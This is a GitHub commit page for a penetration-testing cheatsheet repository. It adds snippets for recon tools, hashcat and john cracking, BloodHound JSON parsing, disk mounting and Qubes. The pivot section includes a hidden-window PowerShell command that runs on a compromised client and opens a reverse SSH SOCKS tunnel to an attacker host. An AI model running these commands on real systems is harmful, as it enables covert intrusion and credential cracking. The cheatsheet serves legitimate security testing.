Skip to content

Commit

Permalink
More cheatsheets
Browse files Browse the repository at this point in the history
  • Loading branch information
r1cksec committed Feb 23, 2024
1 parent 5f7cf41 commit 43aab42
Show file tree
Hide file tree
Showing 22 changed files with 197 additions and 113 deletions.
5 changes: 5 additions & 0 deletions api/censys.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,11 @@
https://search.censys.io/api
https://search.censys.io/search/definitions

### API key
```
echo "ApiId:Secret" | base64
```

### Return details about current subscription
```
curl -s "https://search.censys.io/api/v1/account" -H "accept: application/json" -H "Authorization: Basic <apiKey>"
Expand Down
5 changes: 5 additions & 0 deletions linux/dig.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,8 @@
### Resolve domain using specific DNS server and TCP
```
dig +tcp @<dnsServer> <domain>
```

### Get nameserver
```
dig +short NS <domain>
Expand Down
2 changes: 1 addition & 1 deletion linux/dnsx.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ https://github.com/projectdiscovery/dnsx

### Resolve domains to ipv4 from file
```
dnsx -a -l <file>
dnsx -silent -a -resp -l <file>
```

### Get asn of domain
Expand Down
5 changes: 5 additions & 0 deletions linux/droopescan.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,11 @@
### Source
https://github.com/SamJoan/droopescan

### Install
```
pipx install droopescan
```

### Scan drupal plugins (alternative joomla or moodle), -t threads
```
droopescan scan drupal -u http://<domain> -t <number>
Expand Down
10 changes: 10 additions & 0 deletions linux/fish.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,3 +18,13 @@ history -t -R
set -x varName "content"
```

### Delete word to the right
```
Alt + d
```

### Delete word to the left
```
CTRL + w
```

9 changes: 5 additions & 4 deletions linux/git.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,14 @@ git config user.name "r1cksec"
git config user.email "[email protected]"
```

### Sign files with given key
### List config of current repository
```
git config --global commit.gpgsign true
git config --list --local
```

### List config of current repository
### Sign files with given key
```
git config --list --local
git config --global commit.gpgsign true
```

### Show available tags
Expand Down Expand Up @@ -89,3 +89,4 @@ git config --global --unset http.proxy
### Generate access token
* https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token


5 changes: 5 additions & 0 deletions linux/gitfive.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,8 @@ https://github.com/mxrch/gitfive
gitfive emails <emailFile>
```

### Grep github account names from results
```
cat <result> | grep "@" | grep -v "@@\|@mxrchreborn" | cut -d "@" -f 3 | cut -d " " -f 1
```

12 changes: 12 additions & 0 deletions linux/guestfist.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
### Install
```
apt install guestfish
```

### Get filesystem
```
guestfish --ro -a <file>.vhdx
> run
> list-filesystems
```

12 changes: 11 additions & 1 deletion linux/guestmount.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,17 @@
### Source
https://github.com/libguestfs/libguestfs/blob/master/fuse/guestmount

### Mount vhdx format
### Install
```
apt install guestmount
```

### Mount vhdx
```
guestmount --add <file>.vhdx -m </dev/sdX> /mnt/<mountpoint>
```

### Mount vhdx os
```
guestmount --add <file>.vhdx --inspector --ro /mnt/<mountpoint>
```
Expand Down
1 change: 1 addition & 0 deletions linux/hashcat.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,7 @@ hashcat -o <outfile> -m <hashType> -a 3 <fileToCrack> -1 ?l?u?d ?1?1?1?1?1?1 -m
1400 = SHA256
1410 = sha256($pass.$salt)
1420 = sha256($salt.$pass)
1800 = sha512crypt $6$, SHA512 (Unix)
2100 = Domain Cached Credentials (DCC), MS Cache - format: $DCC2$10240#<user>#<hash>
2500 = WPA/WPA2
5600 = NetNTLMv2
Expand Down
16 changes: 8 additions & 8 deletions linux/john.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ https://github.com/openwall/john

### Install
```
wget https://www.openwall.com/john/k/john-currentNumber-jumbo-1.tar.xz
tar -xf <file>
git clone https://github.com/openwall/john
apt install libssl-dev -y
cd <johnRepo>/src
./configure && make
../run/john
Expand Down Expand Up @@ -35,19 +35,19 @@ wpapsk (wpa2)
john --loopback --fork=4
```

### File containing cracked passwords
### List all formats
```
~/.john/john.pot
john --list=formats
```

### List all formats
### Using korelogic rules
```
john --list=formats
john --wordlist=<wordlist> <hashFile> --rules=korelogic --format=NT
```

### Example
### Using specific session and pot
```
john --wordlist=<wordlist> <fileToCrack> --rules=korelogic --format=NT
john <hashFile> --session=<sessionName> --pot=<potFile>
```

### Convert file for john
Expand Down
31 changes: 4 additions & 27 deletions linux/jq.md
Original file line number Diff line number Diff line change
@@ -1,36 +1,13 @@
### Source
https://github.com/stedolan/jq

### Print one line json file as multiple lines
### Print distinguishedname of bloodhound users
```
jq <file>.json
cat <userFile>.json | jq '.data[].Properties.distinguishedname
```

### Retrieve values from key
### Print attributes of bloodhound user
```
{
"pos1": {
"key1": "val1",
"key2": "val2"
},
"key3": "val3"
}
jq ".pos1 .key1" <file>.json
```

### Retrieve multiple values from key
```
cat <file>.json | jq -r ".pos1 .key1, .key3"
```

### Retrieve values from array (example: name of computer from bloodhound json result)
```
cat <file>.json | jq -r ".data[] .Properties .name"
```

### Retrieve multiple values from array
```
jq ".data[] .Properties | .name, .distinguishedname, .operatingsystem, .serviceprincipalnames" <file>.json
cat <userFile>.json | jq '.data[].Properties | select(.name | ascii_downcase == "<name>")'
```

5 changes: 5 additions & 0 deletions linux/openssl.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,3 +16,8 @@ openssl enc -aes-256-cbc -pbkdf2 -k <password> <file> > <encryptedFile>
openssl enc -d -aes-256-cbc -pbkdf2 -k <password> <encryptedFile> > <file>
```

### Print information
```
openssl x509 -in <file>.pem -text -noout
```

45 changes: 45 additions & 0 deletions linux/qubes.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
### Install software in dom0
```
sudo qubes-dom0-update <packet>
```

### Run command on another qube
```
qvm-run --pass-io <qubeName> '<command>'
```

### Copy file to dom0
```
qvm-run --pass-io <qubeName> 'cat <file> > <outFile>'
```

### Copy file to qube
```
qvm-copy-to-vm <qubeName> <file>
```

### List network information of qube
```
qvm-ls -n <qubeName>
```

### Extend disk space of standalone qube to 30GB
```
qvm-volume extend <qubeName> 30g
```

### Extend initial memory of qube to 8GB
```
qvm-prefs <qubeName> memory 8000
```

### Extend maximal memory of qube to 8GB
```
qvm-prefs <qubeName> maxmem 8000
```

### Watch memory usage
```
xentop
```

4 changes: 2 additions & 2 deletions linux/sed.md
Original file line number Diff line number Diff line change
Expand Up @@ -38,8 +38,8 @@ echo "00123" | sed 's/^0*//'
echo " some string" | sed -e 's/^[[:space:]]*//'
```

# Edit file in place
### Replace german umlaute
```
sed -i 's/replaceThis/replaceWith/g' <file>
sed 's/ä/ae/g; s/Ä/Ae/g; s/ö/oe/g; s/Ö/Oe/g; s/ü/ue/g; s/Ü/Ue/g; s/ß/ss/g'
```

7 changes: 6 additions & 1 deletion linux/pivot.md → other/pivot.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
### Start ssh connection from compromised client to ssh server
### Start ssh connection on compromised client
```
Start-Process -FilePath "powershell" -ArgumentList " -w hidden -c ssh -p 22 -o 'StrictHostKeyChecking=no' -i $HOME\.ssh\<privateKey> -N -R 9050 <user>@<sshRhost>"
```
Expand Down Expand Up @@ -28,3 +28,8 @@ sed -i 's/ 9050/ 9051/g' /etc/proxychains4.conf
proxychains firefox
```

### Add DNS resolver to proxy
```
/usr/lib/proxychains3/proxyresolv
```

37 changes: 0 additions & 37 deletions other/pivoting.md

This file was deleted.

8 changes: 1 addition & 7 deletions theorie/recon-methodology.md
Original file line number Diff line number Diff line change
Expand Up @@ -234,7 +234,7 @@ The metadata can also contain other informations like domains or e-mail addresse
strings * | grep -i "@"
```

Searching for PDF documents and extracting the metadata can also be done at once with the script `get-pdf-metadata` (see https://github.com/r1cksec/thoth/blob/master/scripts/get-pdf-metadata)
Searching for PDF documents and extracting the metadata can also be done at once with the script `get-pdf-metadata` (see https://github.com/r1cksec/corptrace/blob/master/ressources/modules/startpage_get_pdf_metadata.py)

```
get-pdf-Metadata <domain>
Expand Down Expand Up @@ -306,12 +306,6 @@ But it is still possible to collect employees using Google Dorks.
intitle:"companyName" inurl:"linkedin.com/in/" site:linkedin.com
```

Since automation is king, there is of course a script `dork-linkedIn-employees` that crawls the first pages of the Dork query results (see https://github.com/r1cksec/thoth/blob/master/scripts/dork-linkedIn-employees)

```
python3 dork-linkedIn-employees <companyName>
```

Alternativly, you can pay for rekruting solutions like PhantomBuster (see https://phantombuster.com) and thus obtain additional information.

Another source to get more email addresses are known database leaks.
Expand Down
Loading

0 comments on commit 43aab42

Please sign in to comment.